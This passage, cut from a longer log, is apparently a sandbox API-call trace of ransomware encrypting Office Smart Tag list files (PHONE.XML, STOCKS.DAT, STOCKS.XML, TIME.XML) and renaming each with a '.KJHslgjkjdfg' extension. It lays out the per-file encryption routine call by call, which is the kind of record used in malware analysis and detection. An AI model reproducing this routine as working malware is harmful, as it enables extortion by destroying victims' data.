ftLastWriteTime.dwLowDateTime=0x8a301d00, ftLastWriteTime.dwHighDateTime=0x1c2d7fa, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PHONE.XML", cAlternateFileName="")) returned 1 [0145.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0145.114] GetProcessHeap () returned 0x2a0000 [0145.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0145.114] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0145.114] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0145.114] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0xc, lpOverlapped=0x0) returned 1 [0145.117] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0145.117] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.117] GetProcessHeap () returned 0x2a0000 [0145.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0145.117] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0145.117] CryptDestroyKey (hKey=0x2c6420) returned 1 [0145.117] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0145.117] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0145.117] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0145.118] WriteFile (in: hFile=0x13c, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0145.118] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0145.118] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0145.118] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0145.118] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.118] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.118] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x734, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x734, lpOverlapped=0x0) returned 1 [0145.118] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x740, dwBufLen=0x740 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x740) returned 1 [0145.118] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.119] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x740, lpOverlapped=0x0) returned 1 [0145.119] CryptDestroyKey (hKey=0x2c6420) returned 1 [0145.119] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.119] SetEndOfFile (hFile=0x13c) returned 1 [0145.122] GetProcessHeap () returned 0x2a0000 [0145.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0145.122] GetProcessHeap () returned 0x2a0000 [0145.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0145.122] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.kjhslgjkjdfg")) returned 1 [0145.127] CloseHandle (hObject=0x13c) returned 1 [0145.127] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1271800, ftCreationTime.dwHighDateTime=0x1c4481e, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc1271800, ftLastWriteTime.dwHighDateTime=0x1c4481e, nFileSizeHigh=0x0, nFileSizeLow=0x9869, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STOCKS.DAT", cAlternateFileName="")) returned 1 [0145.127] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0145.128] GetProcessHeap () returned 0x2a0000 [0145.129] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0145.129] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0145.129] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0145.129] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0x7, lpOverlapped=0x0) returned 1 [0145.131] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0145.131] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.131] GetProcessHeap () returned 0x2a0000 [0145.131] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0145.131] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0145.131] CryptDestroyKey (hKey=0x2c6420) returned 1 [0145.131] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0145.131] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0145.131] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0145.131] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0145.131] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0145.131] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0145.132] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0145.132] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.132] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.132] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9869, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x9869, lpOverlapped=0x0) returned 1 [0145.133] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x9870, dwBufLen=0x9870 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x9870) returned 1 [0145.133] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.133] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9870, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x9870, lpOverlapped=0x0) returned 1 [0145.134] CryptDestroyKey (hKey=0x2c6420) returned 1 [0145.134] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x9934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.134] SetEndOfFile (hFile=0x13c) returned 1 [0145.136] GetProcessHeap () returned 0x2a0000 [0145.136] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0145.136] GetProcessHeap () returned 0x2a0000 [0145.136] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0145.137] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.kjhslgjkjdfg")) returned 1 [0145.137] CloseHandle (hObject=0x13c) returned 1 [0145.137] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5866b900, ftCreationTime.dwHighDateTime=0x1c29047, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5866b900, ftLastWriteTime.dwHighDateTime=0x1c29047, nFileSizeHigh=0x0, nFileSizeLow=0xa7f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STOCKS.XML", cAlternateFileName="")) returned 1 [0145.138] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0145.138] GetProcessHeap () returned 0x2a0000 [0145.138] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0145.138] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0145.138] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0145.139] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0x1, lpOverlapped=0x0) returned 1 [0145.141] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0145.141] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.141] GetProcessHeap () returned 0x2a0000 [0145.141] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0145.141] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0145.141] CryptDestroyKey (hKey=0x2c6420) returned 1 [0145.141] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0145.141] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0145.141] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0145.142] WriteFile (in: hFile=0x13c, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0145.142] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0145.142] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0145.142] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0145.142] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.142] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.142] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa7f, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0xa7f, lpOverlapped=0x0) returned 1 [0145.142] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0xa80, dwBufLen=0xa80 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0xa80) returned 1 [0145.142] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.142] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0xa80, lpOverlapped=0x0) returned 1 [0145.142] CryptDestroyKey (hKey=0x2c6420) returned 1 [0145.142] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xb44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.142] SetEndOfFile (hFile=0x13c) returned 1 [0145.145] GetProcessHeap () returned 0x2a0000 [0145.145] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0145.145] GetProcessHeap () returned 0x2a0000 [0145.145] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0145.145] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.kjhslgjkjdfg")) returned 1 [0145.149] CloseHandle (hObject=0x13c) returned 1 [0145.150] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TIME.XML", cAlternateFileName="")) returned 1 [0145.150] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0145.150] GetProcessHeap () returned 0x2a0000 [0145.150] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0145.150] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0145.151] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0145.151] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0xc, lpOverlapped=0x0) returned 1 [0145.153] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0145.153] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.153] GetProcessHeap () returned 0x2a0000 [0145.153] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0145.154] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0145.154] CryptDestroyKey (hKey=0x2c6420) returned 1 [0145.154] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0145.154] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0145.154] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0145.154] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0145.154] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0145.154] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0145.154] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0145.154] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.155] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.155] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2174, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x2174, lpOverlapped=0x0) returned 1 [0145.157] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x2180, dwBufLen=0x2180 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x2180) returned 1 [0145.158] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.158] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x2180, lpOverlapped=0x0) returned 1 [0145.158] CryptDestroyKey (hKey=0x2c6420) returned 1 [0145.158] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x2244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.158] SetEndOfFile (hFile=0x13c) returned 1 [0145.161] GetProcessHeap () returned 0x2a0000 [0145.161] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0145.161] GetProcessHeap () returned 0x2a0000 [0145.161] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0145.161] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.kjhslgjkjdfg")) returned 1 [0145.162] CloseHandle (hObject=0x13c) returned 1 [0145.162] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TIME.XML", cAlternateFileName="")) returned 0 [0145.162] GetProcessHeap () returned 0x2a0000 [0145.162] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0145.163] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0145.163] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290eb98 | out: pbData=0x2bf570, pdwDataLen=0x290eb98) returned 1 [0145.163] CryptDestroyKey (hKey=0x2c6420) returned 1 [0145.163] GetProcessHeap () returned 0x2a0000 [0145.163] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0145.163] CryptImportKey 